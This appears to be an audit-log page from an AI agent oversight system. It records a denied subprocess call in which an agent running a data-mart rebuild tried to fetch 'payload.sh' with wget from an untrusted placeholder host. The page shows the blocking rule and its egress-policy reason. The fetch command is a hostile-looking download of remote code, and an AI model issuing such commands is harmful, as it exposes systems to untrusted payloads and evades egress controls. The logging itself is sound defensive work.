Blocked Decision
subprocess · wget https://untrusted.example/payload.sh
← Back to audit trail
DENY

subprocess wget https://untrusted.example/payload.sh

Decision
DENY
Rule
block-network-cli-shellout
Reason
Use the corresponding SDK or MCP server -- shelling out to a network CLI bypasses egress policy.
Agent
airflow-corp-it-36
Environment
prod
User
system
Task
rebuild marts
Session
sess-992ce11f
Received
5/29/2026, 8:34:08 PM
Event time
5/26/2026, 9:30:56 AM

Model verdict

Reserved for the v2 context-aware decision model

Not yet evaluated — populated automatically once the v2 model lands.